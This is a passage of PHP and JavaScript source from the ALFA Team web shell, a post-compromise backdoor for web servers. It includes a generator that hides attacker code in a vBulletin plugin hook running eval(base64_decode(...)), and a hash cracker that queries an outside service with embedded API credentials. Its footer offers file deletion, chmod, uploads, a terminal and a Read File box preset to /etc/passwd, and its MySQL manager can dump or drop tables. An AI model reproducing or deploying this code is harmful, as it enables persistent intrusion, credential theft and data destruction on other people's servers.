AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>\r\n<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>\r\n<input type='submit' name='go' value=' ' /></p></form></center>";
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
echo __pre() . "<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?php xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'' . __ZW5jb2Rlcg($_POST['alfa1']) . '\'));exit;}]]></phpcode></plugin></plugins>';
echo "</textarea></center></p>";
}
echo "</center></div>";
alfafooter();
}
function alfacpcrack()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick=\"g('cpcrack',null,'dec')\">| DeCrypter | </a><a href=javascript:void(0) onclick=\"g('cpcrack',null,'analyzer')\">| Hash Analyzer | </a></h3></center>";
if ($_POST['alfa1'] == 'dec') {
$algorithms = array('md5' => 'MD5', 'md4' => 'MD4', 'sha1' => 'SHA1', 'sha256' => 'SHA256', 'sha384' => 'SHA384', 'sha512' => 'SHA512', 'ntlm' => 'NTLM');
echo "<center><div class=\"txtfont_header\">| DeCrypter |</div><br><br>\r\n<form onsubmit=\"g('cpcrack',null,'dec',this.md5.value,'>>',this.alg.value); return false;\"><div class=\"txtfont\">Decrypt Method:</div> <select name=\"alg\" style=\"width:100px;\">";
foreach ($algorithms as $key => $val) {
echo '<option value="' . $key . '">' . $val . '</option>';
}
echo "</select><input type=\"text\" placeholder=\"Hash\" name=\"md5\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
if ($_POST['alfa3'] == '>>') {
$hash = $_POST['alfa2'];
if (!empty($hash)) {
$hash_type = $_POST['alfa4'];
$email = "solevisible@gmail.com";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=" . $hash . "&hash_type=" . $hash_type . "&email=" . $email . "&code=" . $code;
$resp = @file_get_contents($target);
if ($resp == '') {
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre() . '<center>';
switch ($resp) {
case 'CODE ERREUR : 001':
echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";
break;
case 'CODE ERREUR : 003':
echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";
break;
case 'CODE ERREUR : 004':
echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";
break;
case 'CODE ERREUR : 005':
echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";
break;
}
if (substr($resp, 0, 4) != 'CODE' && $resp != '') {
echo "<b>Result: <font color='green'>" . $resp . "</font></b>";
} elseif (substr($resp, 0, 4) != 'CODE') {
echo "<font color='red'>NoT Found</font><br />";
}
echo "</center>";
}
}
}
if ($_POST['alfa1'] == 'analyzer') {
echo "<center><p><div class=\"txtfont_header\">| Hash Analyzer |</div></p>\r\n<form onsubmit=\"g('cpcrack',null,'analyzer',this.hash.value,'>>');return false;\">\r\n<div class=\"txtfont\">Hash: </div> <input type=\"text\" placeholder=\"Hash\" name=\"hash\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
if ($_POST['alfa3'] == '>>') {
$hash = $_POST['alfa2'];
if (!empty($hash)) {
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/", "post", "hash={$hash}&crypt=Search");
echo __pre() . '<center>';
if (preg_match('#<fieldset class="trouve">(.*?)</fieldset>#', $resp, $s)) {
echo '<font color="green">' . $s[1] . '</font>';
} else {
echo "<font color=\"red\">Not Found...!</font>";
}
echo "</center><br>";
}
}
}
echo "</div>";
alfafooter();
}
function alfafooter()
{
if (!isset($_POST['ajax'])) {
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >\r\n<tr>\r\n<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>\r\n<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type='submit' value=' '></form></td>\r\n<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>\r\n<input type='hidden' name='a' value='FilesMAn'>\r\n<input type='hidden' name='c' value='" . $GLOBALS['cwd'] . "'>\r\n<input type='hidden' name='ajax' value='true'>\r\n<input type='hidden' name='alfa1' value='uploadFile'>\r\n<input type='hidden' name='charset' value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong> Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam © 2012-" . date('Y') . " ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>\r\n</tr>\r\n</table>\r\n</div>\r\n\r\n<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>\r\n\r\n<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>\r\n\r\n<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>\r\n<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>\r\n<div id='update-content'></div>\r\n<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>\r\n<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>\r\n<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>\r\n<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>\r\n<div id='rightclick_menu'>\r\n <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>\r\n <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>\r\n <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>\r\n <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>\r\n <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\"> Rename</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\"> Modify</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>\r\n <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>\r\n</div>\r\n<div id=\"filesman-tab-full-path\"></div>\r\n<div id='alert-area' class='alert-area'></div>\r\n<div class='cl-popup-fixed' style='display:none;'>\r\n\t<div id='shortcutMenu-holder'>\r\n\t\t<div class='popup-head'></div>\r\n\t\t\t<form autocomplete='off' onSubmit='return false;'>\r\n\t\t\t\t<label class='old-path-lbl'></label>\r\n\t\t\t\t<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>\r\n\t\t\t\t<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>\r\n\t\t\t\t<input type='text' name='fname'>\r\n\t\t\t\t<div class='perm-table-holder'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t <tbody>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td><b>Mode</b></td>\r\n\t\t\t\t\t <td>User</td>\r\n\t\t\t\t\t <td>Group</td>\r\n\t\t\t\t\t <td>World</td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Read</td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Write</td>\r\n\t\t\t\t\t <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Execute</td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Permission</td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t </tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t</form>\r\n\t\t<div class='popup-foot'>\r\n\t\t\t<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>\r\n\t\t\t<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>\r\n\t\t</div>\r\n\t</div>\r\n</div>";
?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area 